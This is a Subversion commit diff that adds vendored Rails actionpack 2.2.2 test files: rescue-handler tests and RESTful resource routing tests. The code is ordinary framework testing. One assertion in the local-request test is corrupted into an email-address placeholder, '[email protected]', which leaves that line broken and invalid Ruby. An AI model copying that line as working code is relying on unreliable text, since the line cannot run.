+    assert_equal ' ', @response.body
+  end
+
+  def test_rescue_unknown_action_in_public_with_error_file
+    with_rails_root FIXTURE_PUBLIC do
+      with_all_requests_local false do
+        get :foobar_doesnt_exist
+      end
+    end
+
+    assert_response :not_found
+    body = File.read("#{FIXTURE_PUBLIC}/public/404.html")
+    assert_equal body, @response.body
+  end
+
+  def test_rescue_unknown_action_in_public_without_error_file
+    with_rails_root '/tmp' do
+      with_all_requests_local false do
+        get :foobar_doesnt_exist
+      end
+    end
+
+    assert_response :not_found
+    assert_equal ' ', @response.body
+  end
+
+  def test_rescue_missing_template_in_public
+    with_rails_root FIXTURE_PUBLIC do
+      with_all_requests_local true do
+        get :missing_template
+      end
+    end
+
+    assert_response :internal_server_error
+    assert @response.body.include?('missing_template'), "Response should include the template name."
+  end
+
+  def test_rescue_action_locally
+    get :raises
+    assert_response :internal_server_error
+    assert_template 'diagnostics.erb'
+    assert @response.body.include?('RescueController#raises'), "Response should include controller and action."
+    assert @response.body.include?("don't panic"), "Response should include exception message."
+  end
+
+  def test_local_request_when_remote_addr_is_localhost
+    @controller.expects(:request).returns(@request).at_least_once
+    with_remote_addr '127.0.0.1' do
+      assert @controller.send(:local_request?)
+    end
+  end
+
+  def test_local_request_when_remote_addr_isnt_locahost
+    @controller.expects(:request).returns(@request)
+    with_remote_addr '1.2.3.4' do
+      assert [email protected](:local_request?)
+    end
+  end
+
+  def test_rescue_responses
+    responses = ActionController::Base.rescue_responses
+
+    assert_equal ActionController::Rescue::DEFAULT_RESCUE_RESPONSE, responses.default
+    assert_equal ActionController::Rescue::DEFAULT_RESCUE_RESPONSE, responses[Exception.new]
+
+    assert_equal :not_found, responses[ActionController::RoutingError.name]
+    assert_equal :not_found, responses[ActionController::UnknownAction.name]
+    assert_equal :not_found, responses['ActiveRecord::RecordNotFound']
+    assert_equal :conflict, responses['ActiveRecord::StaleObjectError']
+    assert_equal :unprocessable_entity, responses['ActiveRecord::RecordInvalid']
+    assert_equal :unprocessable_entity, responses['ActiveRecord::RecordNotSaved']
+    assert_equal :method_not_allowed, responses['ActionController::MethodNotAllowed']
+    assert_equal :not_implemented, responses['ActionController::NotImplemented']
+  end
+
+  def test_rescue_templates
+    templates = ActionController::Base.rescue_templates
+
+    assert_equal ActionController::Rescue::DEFAULT_RESCUE_TEMPLATE, templates.default
+    assert_equal ActionController::Rescue::DEFAULT_RESCUE_TEMPLATE, templates[Exception.new]
+
+    assert_equal 'missing_template',  templates[ActionView::MissingTemplate.name]
+    assert_equal 'routing_error',     templates[ActionController::RoutingError.name]
+    assert_equal 'unknown_action',    templates[ActionController::UnknownAction.name]
+    assert_equal 'template_error',    templates[ActionView::TemplateError.name]
+  end
+
+  def test_clean_backtrace
+    with_rails_root nil do
+      # No action if RAILS_ROOT isn't set.
+      cleaned = @controller.send(:clean_backtrace, @exception)
+      assert_equal @exception.backtrace, cleaned
+    end
+
+    with_rails_root Dir.pwd do
+      # RAILS_ROOT is removed from backtrace.
+      cleaned = @controller.send(:clean_backtrace, @exception)
+      expected = @exception.backtrace.map { |line| line.sub(RAILS_ROOT, '') }
+      assert_equal expected, cleaned
+
+      # No action if backtrace is nil.
+      assert_nil @controller.send(:clean_backtrace, Exception.new)
+    end
+  end
+
+  def test_not_implemented
+    with_all_requests_local false do
+      with_rails_public_path(".") do
+        head :not_implemented
+      end
+    end
+    assert_response :not_implemented
+    assert_equal "GET, PUT", @response.headers['Allow']
+  end
+
+  def test_method_not_allowed
+    with_all_requests_local false do
+      with_rails_public_path(".") do
+        get :method_not_allowed
+      end
+    end
+    assert_response :method_not_allowed
+    assert_equal "GET, HEAD, PUT", @response.headers['Allow']
+  end
+
+  def test_rescue_handler
+    get :not_authorized
+    assert_response :forbidden
+  end
+  def test_rescue_handler_string
+    get :not_authorized_raise_as_string
+    assert_response :forbidden
+  end
+
+  def test_rescue_handler_with_argument
+    @controller.expects(:show_errors).once.with { |e| e.is_a?(Exception) }
+    get :record_invalid
+  end
+  def test_rescue_handler_with_argument_as_string
+    @controller.expects(:show_errors).once.with { |e| e.is_a?(Exception) }
+    get :record_invalid_raise_as_string
+  end
+
+  def test_proc_rescue_handler
+    get :not_allowed
+    assert_response :forbidden
+  end
+  def test_proc_rescue_handler_as_string
+    get :not_allowed_raise_as_string
+    assert_response :forbidden
+  end
+
+  def test_proc_rescue_handle_with_argument
+    get :invalid_request
+    assert_equal "RescueController::InvalidRequest", @response.body
+  end
+  def test_proc_rescue_handle_with_argument_as_string
+    get :invalid_request_raise_as_string
+    assert_equal "RescueController::InvalidRequestToRescueAsString", @response.body
+  end
+
+  def test_block_rescue_handler
+    get :bad_gateway
+    assert_response 502
+  end
+  def test_block_rescue_handler_as_string
+    get :bad_gateway_raise_as_string
+    assert_response 502
+  end
+
+  def test_block_rescue_handler_with_argument
+    get :resource_unavailable
+    assert_equal "RescueController::ResourceUnavailable", @response.body
+  end
+
+  def test_block_rescue_handler_with_argument_as_string
+    get :resource_unavailable_raise_as_string
+    assert_equal "RescueController::ResourceUnavailableToRescueAsString", @response.body
+  end
+
+  def test_rescue_dispatcher_exceptions
+    RescueController.process_with_exception(@request, @response, ActionController::RoutingError.new("Route not found"))
+    assert_equal "no way", @response.body
+  end
+
+  protected
+    def with_all_requests_local(local = true)
+      old_local, ActionController::Base.consider_all_requests_local =
+        ActionController::Base.consider_all_requests_local, local
+      yield
+    ensure
+      ActionController::Base.consider_all_requests_local = old_local
+    end
+
+    def with_remote_addr(addr)
+      old_remote_addr, @request.remote_addr = @request.remote_addr, addr
+      yield
+    ensure
+      @request.remote_addr = old_remote_addr
+    end
+
+    def with_rails_public_path(rails_root)
+      old_rails = Object.const_get(:Rails) rescue nil
+      mod = Object.const_set(:Rails, Module.new)
+      (class << mod; self; end).instance_eval do
+        define_method(:public_path) { "#{rails_root}/public" }
+      end
+      yield
+    ensure
+      Object.module_eval { remove_const(:Rails) } if defined?(Rails)
+      Object.const_set(:Rails, old_rails) if old_rails
+    end
+
+    def with_rails_root(path = nil,&block)
+      old_rails_root = RAILS_ROOT if defined?(RAILS_ROOT)
+      if path
+        silence_warnings { Object.const_set(:RAILS_ROOT, path) }
+      else
+        Object.remove_const(:RAILS_ROOT) rescue nil
+      end
+
+      with_rails_public_path(path, &block)
+
+    ensure
+      if old_rails_root
+        silence_warnings { Object.const_set(:RAILS_ROOT, old_rails_root) }
+      else
+        Object.remove_const(:RAILS_ROOT) rescue nil
+      end
+    end
+end
+
+class ExceptionInheritanceRescueController < ActionController::Base
+
+  class ParentException < StandardError
+  end
+
+  class ChildException < ParentException
+  end
+
+  class GrandchildException < ChildException
+  end
+
+  rescue_from ChildException,      :with => lambda { head :ok }
+  rescue_from ParentException,     :with => lambda { head :created }
+  rescue_from GrandchildException, :with => lambda { head :no_content }
+
+  def raise_parent_exception
+    raise ParentException
+  end
+
+  def raise_child_exception
+    raise ChildException
+  end
+
+  def raise_grandchild_exception
+    raise GrandchildException
+  end
+end
+
+class ExceptionInheritanceRescueControllerTest < ActionController::TestCase
+  def test_bottom_first
+    get :raise_grandchild_exception
+    assert_response :no_content
+  end
+
+  def test_inheritance_works
+    get :raise_child_exception
+    assert_response :created
+  end
+end
+
+class ControllerInheritanceRescueController < ExceptionInheritanceRescueController
+  class FirstExceptionInChildController < StandardError
+  end
+
+  class SecondExceptionInChildController < StandardError
+  end
+
+  rescue_from FirstExceptionInChildController, 'SecondExceptionInChildController', :with => lambda { head :gone }
+
+  def raise_first_exception_in_child_controller
+    raise FirstExceptionInChildController
+  end
+
+  def raise_second_exception_in_child_controller
+    raise SecondExceptionInChildController
+  end
+end
+
+class ControllerInheritanceRescueControllerTest < ActionController::TestCase
+  def test_first_exception_in_child_controller
+    get :raise_first_exception_in_child_controller
+    assert_response :gone
+  end
+
+  def test_second_exception_in_child_controller
+    get :raise_second_exception_in_child_controller
+    assert_response :gone
+  end
+
+  def test_exception_in_parent_controller
+    get :raise_parent_exception
+    assert_response :created
+  end
+end
+end # uses_mocha

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/resources_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/resources_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/resources_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1256 @@
+require 'abstract_unit'
+
+class ResourcesController < ActionController::Base
+  def index() render :nothing => true end
+  alias_method :show, :index
+  def rescue_action(e) raise e end
+end
+
+class ThreadsController  < ResourcesController; end
+class MessagesController < ResourcesController; end
+class CommentsController < ResourcesController; end
+class AuthorsController < ResourcesController; end
+class LogosController < ResourcesController; end
+
+class AccountsController <  ResourcesController; end
+class AdminController   <  ResourcesController; end
+class ProductsController < ResourcesController; end
+class ImagesController < ResourcesController; end
+
+module Backoffice
+  class ProductsController < ResourcesController; end
+  class TagsController < ResourcesController; end
+  class ManufacturersController < ResourcesController; end
+  class ImagesController < ResourcesController; end
+
+  module Admin
+    class ProductsController < ResourcesController; end
+    class ImagesController < ResourcesController; end
+  end
+end
+
+class ResourcesTest < Test::Unit::TestCase
+  # The assertions in these tests are incompatible with the hash method
+  # optimisation.  This could indicate user level problems
+  def setup
+    ActionController::Base.optimise_named_routes = false
+  end
+
+  def teardown
+    ActionController::Base.optimise_named_routes = true
+  end
+
+  def test_should_arrange_actions
+    resource = ActionController::Resources::Resource.new(:messages,
+      :collection => { :rss => :get, :reorder => :post, :csv => :post },
+      :member     => { :rss => :get, :atom => :get, :upload => :post, :fix => :post },
+      :new        => { :preview => :get, :draft => :get })
+
+    assert_resource_methods [:rss],                   resource, :collection, :get
+    assert_resource_methods [:csv, :reorder],         resource, :collection, :post
+    assert_resource_methods [:edit, :rss, :atom],     resource, :member,     :get
+    assert_resource_methods [:upload, :fix],          resource, :member,     :post
+    assert_resource_methods [:new, :preview, :draft], resource, :new,        :get
+  end
+
+  def test_should_resource_controller_name_equal_resource_name_by_default
+    resource = ActionController::Resources::Resource.new(:messages, {})
+    assert_equal 'messages', resource.controller
+  end
+
+  def test_should_resource_controller_name_equal_controller_option
+    resource = ActionController::Resources::Resource.new(:messages, :controller => 'posts')
+    assert_equal 'posts', resource.controller
+  end
+
+  def test_should_all_singleton_paths_be_the_same
+    [ :path, :nesting_path_prefix, :member_path ].each do |method|
+      resource = ActionController::Resources::SingletonResource.new(:messages, :path_prefix => 'admin')
+      assert_equal 'admin/messages', resource.send(method)
+    end
+  end
+
+  def test_default_restful_routes
+    with_restful_routing :messages do
+      assert_simply_restful_for :messages
+    end
+  end
+
+  def test_override_paths_for_default_restful_actions
+    resource = ActionController::Resources::Resource.new(:messages,
+      :path_names => {:new => 'nuevo', :edit => 'editar'})
+    assert_equal resource.new_path, "#{resource.path}/nuevo"
+  end
+
+  def test_multiple_default_restful_routes
+    with_restful_routing :messages, :comments do
+      assert_simply_restful_for :messages
+      assert_simply_restful_for :comments
+    end
+  end
+
+  def test_with_custom_conditions
+    with_restful_routing :messages, :conditions => { :subdomain => 'app' } do
+      assert_equal 'app', ActionController::Routing::Routes.named_routes.routes[:messages].conditions[:subdomain]
+    end
+  end
+
+  def test_irregular_id_with_no_requirements_should_raise_error
+    expected_options = {:controller => 'messages', :action => 'show', :id => '1.1.1'}
+
+    with_restful_routing :messages do
+      assert_raises(ActionController::RoutingError) do
+        assert_recognizes(expected_options, :path => 'messages/1.1.1', :method => :get)
+      end
+    end
+  end
+
+  def test_irregular_id_with_requirements_should_pass
+    expected_options = {:controller => 'messages', :action => 'show', :id => '1.1.1'}
+
+    with_restful_routing(:messages, :requirements => {:id => /[0-9]\.[0-9]\.[0-9]/}) do
+      assert_recognizes(expected_options, :path => 'messages/1.1.1', :method => :get)
+    end
+  end
+
+  def test_with_path_prefix_requirements
+    expected_options = {:controller => 'messages', :action => 'show', :thread_id => '1.1.1', :id => '1'}
+    with_restful_routing :messages, :path_prefix => '/thread/:thread_id', :requirements => {:thread_id => /[0-9]\.[0-9]\.[0-9]/} do
+      assert_recognizes(expected_options, :path => 'thread/1.1.1/messages/1', :method => :get)
+    end
+  end
+
+  def test_with_path_prefix
+    with_restful_routing :messages, :path_prefix => '/thread/:thread_id' do
+      assert_simply_restful_for :messages, :path_prefix => 'thread/5/', :options => { :thread_id => '5' }
+    end
+  end
+
+  def test_multiple_with_path_prefix
+    with_restful_routing :messages, :comments, :path_prefix => '/thread/:thread_id' do
+      assert_simply_restful_for :messages, :path_prefix => 'thread/5/', :options => { :thread_id => '5' }
+      assert_simply_restful_for :comments, :path_prefix => 'thread/5/', :options => { :thread_id => '5' }
+    end
+  end
+
+  def test_with_name_prefix
+    with_restful_routing :messages, :name_prefix => 'post_' do
+      assert_simply_restful_for :messages, :name_prefix => 'post_'
+    end
+  end
+
+  def test_with_collection_actions
+    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
+
+    with_restful_routing :messages, :collection => actions do
+      assert_restful_routes_for :messages do |options|
+        actions.each do |action, method|
+          assert_recognizes(options.merge(:action => action), :path => "/messages/#{action}", :method => method)
+        end
+      end
+
+      assert_restful_named_routes_for :messages do |options|
+        actions.keys.each do |action|
+          assert_named_route "/messages/#{action}", "#{action}_messages_path", :action => action
+        end
+      end
+    end
+  end
+
+  def test_with_collection_actions_and_name_prefix
+    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
+
+    with_restful_routing :messages, :path_prefix => '/threads/:thread_id', :name_prefix => "thread_", :collection => actions do
+      assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+        actions.each do |action, method|
+          assert_recognizes(options.merge(:action => action), :path => "/threads/1/messages/#{action}", :method => method)
+        end
+      end
+
+      assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+        actions.keys.each do |action|
+          assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
+        end
+      end
+    end
+  end
+
+  def test_with_collection_action_and_name_prefix_and_formatted
+    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
+
+    with_restful_routing :messages, :path_prefix => '/threads/:thread_id', :name_prefix => "thread_", :collection => actions do
+      assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+        actions.each do |action, method|
+          assert_recognizes(options.merge(:action => action, :format => 'xml'), :path => "/threads/1/messages/#{action}.xml", :method => method)
+        end
+      end
+
+      assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+        actions.keys.each do |action|
+          assert_named_route "/threads/1/messages/#{action}.xml", "formatted_#{action}_thread_messages_path", :action => action, :format => 'xml'
+        end
+      end
+    end
+  end
+
+  def test_with_member_action
+    [:put, :post].each do |method|
+      with_restful_routing :messages, :member => { :mark => method } do
+        mark_options = {:action => 'mark', :id => '1'}
+        mark_path    = "/messages/1/mark"
+        assert_restful_routes_for :messages do |options|
+          assert_recognizes(options.merge(mark_options), :path => mark_path, :method => method)
+        end
+
+        assert_restful_named_routes_for :messages do |options|
+          assert_named_route mark_path, :mark_message_path, mark_options
+        end
+      end
+    end
+  end
+
+  def test_member_when_override_paths_for_default_restful_actions_with
+    [:put, :post].each do |method|
+      with_restful_routing :messages, :member => { :mark => method }, :path_names => {:new => 'nuevo'} do
+        mark_options = {:action => 'mark', :id => '1', :controller => "messages"}
+        mark_path    = "/messages/1/mark"
+
+        assert_restful_routes_for :messages, :path_names => {:new => 'nuevo'} do |options|
+          assert_recognizes(options.merge(mark_options), :path => mark_path, :method => method)
+        end
+
+        assert_restful_named_routes_for :messages, :path_names => {:new => 'nuevo'} do |options|
+          assert_named_route mark_path, :mark_message_path, mark_options
+        end
+      end
+    end
+  end
+
+  def test_member_when_changed_default_restful_actions_and_path_names_not_specified
+    default_path_names = ActionController::Base.resources_path_names
+    ActionController::Base.resources_path_names = {:new => 'nuevo', :edit => 'editar'}
+
+    with_restful_routing :messages do
+      new_options = { :action => 'new', :controller => 'messages' }
+      new_path = "/messages/nuevo"
+      edit_options = { :action => 'edit', :id => '1', :controller => 'messages' }
+      edit_path = "/messages/1/editar"
+
+      assert_restful_routes_for :messages do |options|
+        assert_recognizes(options.merge(new_options), :path => new_path, :method => :get)
+      end
+
+      assert_restful_routes_for :messages do |options|
+        assert_recognizes(options.merge(edit_options), :path => edit_path, :method => :get)
+      end
+    end
+  ensure
+    ActionController::Base.resources_path_names = default_path_names
+  end
+
+  def test_with_two_member_actions_with_same_method
+    [:put, :post].each do |method|
+      with_restful_routing :messages, :member => { :mark => method, :unmark => method } do
+        %w(mark unmark).each do |action|
+          action_options = {:action => action, :id => '1'}
+          action_path    = "/messages/1/#{action}"
+          assert_restful_routes_for :messages do |options|
+            assert_recognizes(options.merge(action_options), :path => action_path, :method => method)
+          end
+
+          assert_restful_named_routes_for :messages do |options|
+            assert_named_route action_path, "#{action}_message_path".to_sym, action_options
+          end
+        end
+      end
+    end
+  end
+
+  def test_array_as_collection_or_member_method_value
+    with_restful_routing :messages, :collection => { :search => [:get, :post] }, :member => { :toggle => [:get, :post] } do
+      assert_restful_routes_for :messages do |options|
+        [:get, :post].each do |method|
+          assert_recognizes(options.merge(:action => 'search'), :path => "/messages/search", :method => method)
+        end
+        [:get, :post].each do |method|
+          assert_recognizes(options.merge(:action => 'toggle', :id => '1'), :path => '/messages/1/toggle', :method => method)
+        end
+      end
+    end
+  end
+
+  def test_with_new_action
+    with_restful_routing :messages, :new => { :preview => :post } do
+      preview_options = {:action => 'preview'}
+      preview_path    = "/messages/new/preview"
+      assert_restful_routes_for :messages do |options|
+        assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post)
+      end
+
+      assert_restful_named_routes_for :messages do |options|
+        assert_named_route preview_path, :preview_new_message_path, preview_options
+      end
+    end
+  end
+
+  def test_with_new_action_with_name_prefix
+    with_restful_routing :messages, :new => { :preview => :post }, :path_prefix => '/threads/:thread_id', :name_prefix => 'thread_' do
+      preview_options = {:action => 'preview', :thread_id => '1'}
+      preview_path    = "/threads/1/messages/new/preview"
+      assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+        assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post)
+      end
+
+      assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+        assert_named_route preview_path, :preview_new_thread_message_path, preview_options
+      end
+    end
+  end
+
+  def test_with_formatted_new_action_with_name_prefix
+    with_restful_routing :messages, :new => { :preview => :post }, :path_prefix => '/threads/:thread_id', :name_prefix => 'thread_' do
+      preview_options = {:action => 'preview', :thread_id => '1', :format => 'xml'}
+      preview_path    = "/threads/1/messages/new/preview.xml"
+      assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+        assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post)
+      end
+
+      assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+        assert_named_route preview_path, :formatted_preview_new_thread_message_path, preview_options
+      end
+    end
+  end
+
+  def test_override_new_method
+    with_restful_routing :messages do
+      assert_restful_routes_for :messages do |options|
+        assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :get)
+        assert_raises(ActionController::MethodNotAllowed) do
+          ActionController::Routing::Routes.recognize_path("/messages/new", :method => :post)
+        end
+      end
+    end
+
+    with_restful_routing :messages, :new => { :new => :any } do
+      assert_restful_routes_for :messages do |options|
+        assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :post)
+        assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :get)
+      end
+    end
+  end
+
+  def test_nested_restful_routes
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :threads do |map|
+          map.resources :messages do |map|
+            map.resources :comments
+          end
+        end
+      end
+
+      assert_simply_restful_for :threads
+      assert_simply_restful_for :messages,
+        :name_prefix => 'thread_',
+        :path_prefix => 'threads/1/',
+        :options => { :thread_id => '1' }
+      assert_simply_restful_for :comments,
+        :name_prefix => 'thread_message_',
+        :path_prefix => 'threads/1/messages/2/',
+        :options => { :thread_id => '1', :message_id => '2' }
+    end
+  end
+
+  def test_nested_restful_routes_with_overwritten_defaults
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :threads do |map|
+          map.resources :messages, :name_prefix => nil do |map|
+            map.resources :comments, :name_prefix => nil
+          end
+        end
+      end
+
+      assert_simply_restful_for :threads
+      assert_simply_restful_for :messages,
+        :path_prefix => 'threads/1/',
+        :options => { :thread_id => '1' }
+      assert_simply_restful_for :comments,
+        :path_prefix => 'threads/1/messages/2/',
+        :options => { :thread_id => '1', :message_id => '2' }
+    end
+  end
+
+  def test_shallow_nested_restful_routes
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :threads, :shallow => true do |map|
+          map.resources :messages do |map|
+            map.resources :comments
+          end
+        end
+      end
+
+      assert_simply_restful_for :threads,
+        :shallow => true
+      assert_simply_restful_for :messages,
+        :name_prefix => 'thread_',
+        :path_prefix => 'threads/1/',
+        :shallow => true,
+        :options => { :thread_id => '1' }
+      assert_simply_restful_for :comments,
+        :name_prefix => 'message_',
+        :path_prefix => 'messages/2/',
+        :shallow => true,
+        :options => { :message_id => '2' }
+    end
+  end
+
+  def test_restful_routes_dont_generate_duplicates
+    with_restful_routing :messages do
+      routes = ActionController::Routing::Routes.routes
+      routes.each do |route|
+        routes.each do |r|
+          next if route === r # skip the comparison instance
+          assert distinct_routes?(route, r), "Duplicate Route: #{route}"
+        end
+      end
+    end
+  end
+
+  def test_should_create_singleton_resource_routes
+    with_singleton_resources :account do
+      assert_singleton_restful_for :account
+    end
+  end
+
+  def test_should_create_multiple_singleton_resource_routes
+    with_singleton_resources :account, :logo do
+      assert_singleton_restful_for :account
+      assert_singleton_restful_for :logo
+    end
+  end
+
+  def test_should_create_nested_singleton_resource_routes
+    with_routing do |set|
+      set.draw do |map|
+        map.resource :admin, :controller => 'admin' do |admin|
+          admin.resource :account
+        end
+      end
+
+      assert_singleton_restful_for :admin, :controller => 'admin'
+      assert_singleton_restful_for :account, :name_prefix => "admin_", :path_prefix => 'admin/'
+    end
+  end
+
+  def test_resource_has_many_should_become_nested_resources
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :messages, :has_many => [ :comments, :authors ]
+      end
+
+      assert_simply_restful_for :messages
+      assert_simply_restful_for :comments, :name_prefix => "message_", :path_prefix => 'messages/1/', :options => { :message_id => '1' }
+      assert_simply_restful_for :authors,  :name_prefix => "message_", :path_prefix => 'messages/1/', :options => { :message_id => '1' }
+    end
+  end
+
+  def test_resources_has_many_hash_should_become_nested_resources
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :threads, :has_many => { :messages => [ :comments, { :authors => :threads } ] }
+      end
+
+      assert_simply_restful_for :threads
+      assert_simply_restful_for :messages, :name_prefix => "thread_", :path_prefix => 'threads/1/', :options => { :thread_id => '1' }
+      assert_simply_restful_for :comments, :name_prefix => "thread_message_", :path_prefix => 'threads/1/messages/1/', :options => { :thread_id => '1', :message_id => '1' }
+      assert_simply_restful_for :authors,  :name_prefix => "thread_message_", :path_prefix => 'threads/1/messages/1/', :options => { :thread_id => '1', :message_id => '1' }
+      assert_simply_restful_for :threads,  :name_prefix => "thread_message_author_", :path_prefix => 'threads/1/messages/1/authors/1/', :options => { :thread_id => '1', :message_id => '1', :author_id => '1' }
+    end
+  end
+
+  def test_shallow_resource_has_many_should_become_shallow_nested_resources
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :messages, :has_many => [ :comments, :authors ], :shallow => true
+      end
+
+      assert_simply_restful_for :messages, :shallow => true
+      assert_simply_restful_for :comments, :name_prefix => "message_", :path_prefix => 'messages/1/', :shallow => true, :options => { :message_id => '1' }
+      assert_simply_restful_for :authors,  :name_prefix => "message_", :path_prefix => 'messages/1/', :shallow => true, :options => { :message_id => '1' }
+    end
+  end
+
+  def test_resource_has_one_should_become_nested_resources
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :messages, :has_one => :logo
+      end
+
+      assert_simply_restful_for :messages
+      assert_singleton_restful_for :logo, :name_prefix => 'message_', :path_prefix => 'messages/1/', :options => { :message_id => '1' }
+    end
+  end
+
+  def test_shallow_resource_has_one_should_become_shallow_nested_resources
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :messages, :has_one => :logo, :shallow => true
+      end
+
+      assert_simply_restful_for :messages, :shallow => true
+      assert_singleton_restful_for :logo, :name_prefix => 'message_', :path_prefix => 'messages/1/', :shallow => true, :options => { :message_id => '1' }
+    end
+  end
+
+  def test_singleton_resource_with_member_action
+    [:put, :post].each do |method|
+      with_singleton_resources :account, :member => { :reset => method } do
+        reset_options = {:action => 'reset'}
+        reset_path    = "/account/reset"
+        assert_singleton_routes_for :account do |options|
+          assert_recognizes(options.merge(reset_options), :path => reset_path, :method => method)
+        end
+
+        assert_singleton_named_routes_for :account do |options|
+          assert_named_route reset_path, :reset_account_path, reset_options
+        end
+      end
+    end
+  end
+
+  def test_singleton_resource_with_two_member_actions_with_same_method
+    [:put, :post].each do |method|
+      with_singleton_resources :account, :member => { :reset => method, :disable => method } do
+        %w(reset disable).each do |action|
+          action_options = {:action => action}
+          action_path    = "/account/#{action}"
+          assert_singleton_routes_for :account do |options|
+            assert_recognizes(options.merge(action_options), :path => action_path, :method => method)
+          end
+
+          assert_singleton_named_routes_for :account do |options|
+            assert_named_route action_path, "#{action}_account_path".to_sym, action_options
+          end
+        end
+      end
+    end
+  end
+
+  def test_should_nest_resources_in_singleton_resource
+    with_routing do |set|
+      set.draw do |map|
+        map.resource :account do |account|
+          account.resources :messages
+        end
+      end
+
+      assert_singleton_restful_for :account
+      assert_simply_restful_for :messages, :name_prefix => "account_", :path_prefix => 'account/'
+    end
+  end
+
+  def test_should_nest_resources_in_singleton_resource_with_path_prefix
+    with_routing do |set|
+      set.draw do |map|
+        map.resource(:account, :path_prefix => ':site_id') do |account|
+          account.resources :messages
+        end
+      end
+
+      assert_singleton_restful_for :account, :path_prefix => '7/', :options => { :site_id => '7' }
+      assert_simply_restful_for :messages, :name_prefix => "account_", :path_prefix => '7/account/', :options => { :site_id => '7' }
+    end
+  end
+
+  def test_should_nest_singleton_resource_in_resources
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :threads do |thread|
+          thread.resource :admin, :controller => 'admin'
+        end
+      end
+
+      assert_simply_restful_for :threads
+      assert_singleton_restful_for :admin, :controller => 'admin', :name_prefix => 'thread_', :path_prefix => 'threads/5/', :options => { :thread_id => '5' }
+    end
+  end
+
+  def test_should_not_allow_delete_or_put_on_collection_path
+    controller_name = :messages
+    with_restful_routing controller_name do
+      options = { :controller => controller_name.to_s }
+      collection_path = "/#{controller_name}"
+
+      assert_raises(ActionController::MethodNotAllowed) do
+        assert_recognizes(options.merge(:action => 'update'), :path => collection_path, :method => :put)
+      end
+
+      assert_raises(ActionController::MethodNotAllowed) do
+        assert_recognizes(options.merge(:action => 'destroy'), :path => collection_path, :method => :delete)
+      end
+    end
+  end
+
+  def test_should_not_allow_invalid_head_method_for_member_routes
+    with_routing do |set|
+      set.draw do |map|
+        assert_raises(ArgumentError) do
+          map.resources :messages, :member => {:something => :head}
+        end
+      end
+    end
+  end
+
+  def test_should_not_allow_invalid_http_methods_for_member_routes
+    with_routing do |set|
+      set.draw do |map|
+        assert_raises(ArgumentError) do
+          map.resources :messages, :member => {:something => :invalid}
+        end
+      end
+    end
+  end
+
+  def test_resource_action_separator
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :messages, :collection => {:search => :get}, :new => {:preview => :any}, :name_prefix => 'thread_', :path_prefix => '/threads/:thread_id'
+        map.resource :account, :member => {:login => :get}, :new => {:preview => :any}, :name_prefix => 'admin_', :path_prefix => '/admin'
+      end
+
+      action_separator = ActionController::Base.resource_action_separator
+
+      assert_simply_restful_for :messages, :name_prefix => 'thread_', :path_prefix => 'threads/1/', :options => { :thread_id => '1' }
+      assert_named_route "/threads/1/messages#{action_separator}search", "search_thread_messages_path", {}
+      assert_named_route "/threads/1/messages/new", "new_thread_message_path", {}
+      assert_named_route "/threads/1/messages/new#{action_separator}preview", "preview_new_thread_message_path", {}
+      assert_singleton_restful_for :account, :name_prefix => 'admin_', :path_prefix => 'admin/'
+      assert_named_route "/admin/account#{action_separator}login", "login_admin_account_path", {}
+      assert_named_route "/admin/account/new", "new_admin_account_path", {}
+      assert_named_route "/admin/account/new#{action_separator}preview", "preview_new_admin_account_path", {}
+    end
+  end
+
+  def test_new_style_named_routes_for_resource
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :messages, :collection => {:search => :get}, :new => {:preview => :any}, :name_prefix => 'thread_', :path_prefix => '/threads/:thread_id'
+      end
+      assert_simply_restful_for :messages, :name_prefix => 'thread_', :path_prefix => 'threads/1/', :options => { :thread_id => '1' }
+      assert_named_route "/threads/1/messages/search", "search_thread_messages_path", {}
+      assert_named_route "/threads/1/messages/new", "new_thread_message_path", {}
+      assert_named_route "/threads/1/messages/new/preview", "preview_new_thread_message_path", {}
+    end
+  end
+
+  def test_new_style_named_routes_for_singleton_resource
+    with_routing do |set|
+      set.draw do |map|
+        map.resource :account, :member => {:login => :get}, :new => {:preview => :any}, :name_prefix => 'admin_', :path_prefix => '/admin'
+      end
